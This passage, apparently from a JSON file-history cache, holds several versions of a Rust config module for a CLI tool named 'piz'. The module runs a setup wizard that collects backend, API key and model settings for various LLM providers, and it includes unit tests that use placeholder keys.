toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "388379de47893be285fc5542500a018381b0312e": {"t": 1785760776.7771695, "n": 15298, "h": "b2763216f663c4ef", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "2af11e2a57fc1d577cc408c842ae89c3fa0bca96": {"t": 1785760778.1057093, "n": 14895, "h": "834c27bff04f67fd", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\"[openai]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\"[claude]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n 